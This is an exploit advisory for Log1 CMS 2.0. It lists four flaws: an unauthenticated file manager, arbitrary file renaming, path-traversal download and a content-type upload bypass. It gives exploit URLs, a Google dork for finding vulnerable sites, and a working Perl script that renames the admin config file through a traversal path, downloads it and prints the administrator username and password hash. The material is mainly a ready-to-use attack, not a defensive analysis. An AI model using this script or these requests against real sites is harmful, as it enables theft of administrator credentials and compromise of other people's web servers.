+---------------------------------------+
| Log1 CMS 2.0 Multiple Vulnerabilities |
+---------------------------------------+
Vulnerable Web-App : Log1 CMS 2.0
Vulnerability : Multiple Vulnerabilities.
Author : Aodrulez. (Atul Alex Cherian)
Email : f3arm3d3ar@gmail.com
Google-Dork : "POWERED BY LOG1 CMS"
Tested on : Ubuntu 10.04
Vendor : http://log1cms.sourceforge.net/
+---------+
| Details |
+---------+
This CMS suffers from multiple vulnerabilities.
1] "AjaxFileManager" implemented without the need for a valid session.
Path: http://localhost/admin/libraries/ajaxfilemanager/ajaxfilemanager.php
2] "ajax_save_name.php" can be used to rename any file on the system/www-root
to any name that contains safe extensions (txt,jpg etc)
3] "AjaxFileManager.php" allows download of even php files if its under the 'Root Folder'.
Exploit: http://localhost/admin/libraries/ajaxfilemanager/ajax_download.php?path=../../../db/uploaded/index.php
4] "main.php" can be used to upload any file-type as long as this is true : "Content-Type: image:jpeg"
Exploit:http://localhost/admin/main.php?action=upload
+--------------------+
| Exploit (Perl Code)|
+--------------------+
(This exploit will fetch Sensitive Login information
from 'http://target.com/admin/config.php' & trigger
DOS attack against the Web-Application)
use HTTP::Request::Common qw(POST);
use LWP::UserAgent;
use LWP 5.64;
my $browser = LWP::UserAgent->new();
my $url=$ARGV[0];
print "+---------------------------------------+\n";
print "| Log1 CMS 2.0 Multiple Vulnerabilities |\n";
print "+---------------------------------------+\n\n";
print "Author : Aodrulez. (Atul Alex Cherian)\n";
print "Email : f3arm3d3ar\@gmail.com\n";
print "Google-Dork : \"POWERED BY LOG1 CMS\"\n";
if(!$url)
{die ("\nPlease enter the target url. Ex. perl $0 http://www.test.com");}
my $ajaxfileman='/admin/libraries/ajaxfilemanager/ajax_save_name.php';
$response = HTTP::Request->new(POST => $url.$ajaxfileman) or die("\n Connection Error!");
$response->content_type("application/x-www-form-urlencoded");
$response->content("original_path=../../../admin/config.php&name=config.txt");
my $data=$browser->request($response)->as_string;
if($data!~m/HTTP\/1.1 200 OK/){ die ("\n$url Not Vulnerable!\n");}
$response = HTTP::Request->new(GET => $url.'/admin/config.txt') or die("\n Connection Error!");
my $data=$browser->request($response)->as_string;
$data=~ m/\"(.*?)\";\r\n.*?\"(.*?)\";/g;
print "\nAdmin Username : ".$1."\nAdmin Password : ".$2." (MD5 Hash)\n";
+-------------------+
| Greetz Fly Out To |
+-------------------+
1] Amforked() : My Mentor.
2] The Blue Genius : My Boss.
3] www.orchidseven.com
4] www.malcon.org
5] www.isac.org.in
+-------+
| Quote |
+-------+
"Learn the Rules really well so you know how to Break them in Multiple Ways." - Aodrulez
;)
